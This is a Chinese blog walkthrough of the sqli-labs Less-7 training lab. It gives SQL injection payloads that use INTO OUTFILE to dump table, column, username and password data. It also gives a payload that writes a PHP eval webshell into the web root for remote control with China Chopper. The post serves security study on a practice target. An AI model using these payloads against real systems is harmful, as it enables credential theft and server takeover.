sqli-labs less -7

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接: https://blog.csdn.net/qq_45106794/article/details/102628325

##sqli-labs less -7

在这里插入图片描述
http://localhost/sqli-labs-master/Less-7/?id=1

首先老办法判断是数值型的、还是字符型的

用and 1=1 和and 1=2 判断并不是数值型的

接下来用’ 以及 " 来判断

在这里插入图片描述
结果判断’ 回显错误 " 回显正常

说明是’ 字符型

但是用 ’ --+ 发现

在这里插入图片描述

说明还缺少一些东西

猜测用)

发现’))–+ 回显正常

在根据题目给的DUMB outfile

所以有可能数据导出文件漏洞
在这里插入图片描述
所以用’)) union select 1,2,3 into outfile “xixi.txt”–+
在这里插入图片描述

即使回显错误

在这里插入图片描述
但可以看到成功了
在这里插入图片描述
接下来可以开始弄数据库名以及用户信息

在这里插入图片描述
'))union select 1,2,table_name from information_schema.tables where table_schema=‘security’ into outfile “xixi.txt”–+

在这里插入图片描述
'))union select 1,2,c。olumn_name from information_schema.columns where table_name=‘users’ into outfile “xixi.txt”–+

在这里插入图片描述
'))union select 1,2,username from security.users into outfile “xixi.txt”–+
在这里插入图片描述

'))union select 1,2,password from security.users into outfile “xixi.txt”–+
在这里插入图片描述

#######

面对该问题,也可以采用构造一句话木马来解决

'))union select 1,2, ‘<?php eval($_post["reader"])?>’ into outfile “xixi.php”–+

'))union select 1,2, ‘<?php eval($_post[reader])?>’ into outfile “D:/phpStudy/PHPTutorial/WWW/sqli-labs-master/less-7/xixi.php”–+

然后用中国菜刀连接

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_45106794/article/details/102628325